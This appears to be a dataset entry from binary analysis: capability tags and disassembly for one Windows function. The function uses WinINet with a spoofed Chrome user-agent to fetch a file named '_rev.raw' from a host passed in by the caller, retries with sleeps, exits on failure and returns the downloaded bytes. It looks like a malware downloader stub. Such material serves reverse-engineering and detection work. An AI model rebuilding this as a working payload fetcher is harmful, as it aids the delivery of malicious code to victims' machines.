Function at 0x14001142e
Capabilities:
Connect to http server
Create http request
Read data from internet
Receive data
Reference http user-agent string
Send data
Send http request
Terminate process

Disassembly:
jmp 0x140011940
mov word [rsp + 0x18], r8w
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x2f8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x7e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x318]
mov rax, qword [0x14001e008]
xor rax, rbp
mov qword [rbp + 0x2a8], rax
lea rcx, [0x1400240a3]
call fcn.14001141f
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_105.0.0.0_Safari_537.36
call qword [sym.imp.WININET.dll_InternetOpenW]
mov qword [rbp + 8], rax
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
lea rax, [0x14001ae2c]
mov qword [rsp + 0x20], rax
lea r9, [0x14001ae2c]
movzx r8d, word [rbp + 0x2e0]
mov rdx, qword [rbp + 0x2d8]
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetConnectW]
mov qword [rbp + 0x28], rax
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str._rev.raw
lea rdx, [0x14001ae60]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_HttpOpenRequestW]
mov qword [rbp + 0x48], rax
xor eax, eax
mov word [rbp + 0x64], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
jne 0x140011a8d
movzx eax, word [rbp + 0x64]
inc ax
mov word [rbp + 0x64], ax
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx eax, word [rbp + 0x64]
cmp eax, 3
jl 0x140011a8b
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
jmp 0x140011a46
mov dword [rbp + 0x84], 0x200
mov eax, dword [rbp + 0x84]
mov ecx, eax
call fcn.1400111bd
mov qword [rbp + 0x298], rax
mov rax, qword [rbp + 0x298]
mov qword [rbp + 0xa8], rax
mov eax, dword [rbp + 0x84]
mov dword [rbp + 0xc4], eax
mov eax, dword [rbp + 0xc4]
mov ecx, eax
call qword [sym.imp.ucrtbased.dll_malloc]
mov qword [rbp + 0xe8], rax
mov dword [rbp + 0x104], 0
xor eax, eax
cmp eax, 1
je 0x140011bd7
lea r9, [rbp + 0x124]
mov r8d, dword [rbp + 0x84]
mov rdx, qword [rbp + 0xa8]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140011b1a
xor ecx, ecx
call qword [sym.imp.ucrtbased.dll_exit]
cmp dword [rbp + 0x124], 0
jne 0x140011b28
jmp 0x140011bd7
mov eax, dword [rbp + 0x124]
mov ecx, dword [rbp + 0x104]
add ecx, eax
mov eax, ecx
cmp eax, dword [rbp + 0xc4]
jbe 0x140011b78
mov eax, dword [rbp + 0xc4]
shl eax, 1
mov dword [rbp + 0xc4], eax
mov eax, dword [rbp + 0xc4]
mov edx, eax
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.ucrtbased.dll_realloc]
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x148]
mov qword [rbp + 0xe8], rax
mov dword [rbp + 0x164], 0
jmp 0x140011b92
mov eax, dword [rbp + 0x164]
inc eax
mov dword [rbp + 0x164], eax
mov eax, dword [rbp + 0x124]
cmp dword [rbp + 0x164], eax
jae 0x140011bd2
mov eax, dword [rbp + 0x164]
mov ecx, dword [rbp + 0x104]
mov rdx, qword [rbp + 0xe8]
mov r8, qword [rbp + 0xa8]
movzx eax, byte [r8 + rax]
mov byte [rdx + rcx], al
mov eax, dword [rbp + 0x104]
inc eax
mov dword [rbp + 0x104], eax
jmp 0x140011b84
jmp 0x140011ae4
mov eax, dword [rbp + 0x104]
mov edx, eax
mov rcx, qword [rbp + 0xe8]
call qword [sym.imp.ucrtbased.dll_realloc]
mov qword [rbp + 0x188], rax
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rax, qword [rbp + 0x2d0]
mov rcx, qword [rbp + 0xe8]
mov qword [rax], rcx
mov rax, qword [rbp + 0x2d0]
mov ecx, dword [rbp + 0x104]
mov dword [rax + 8], ecx
mov rax, qword [rbp + 0x2d0]
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001ac40]
call fcn.140011393
mov rax, rdi
mov rcx, qword [rbp + 0x2a8]
xor rcx, rbp
call fcn.1400111fe
lea rsp, [rbp + 0x2b8]
pop rdi
pop rbp
ret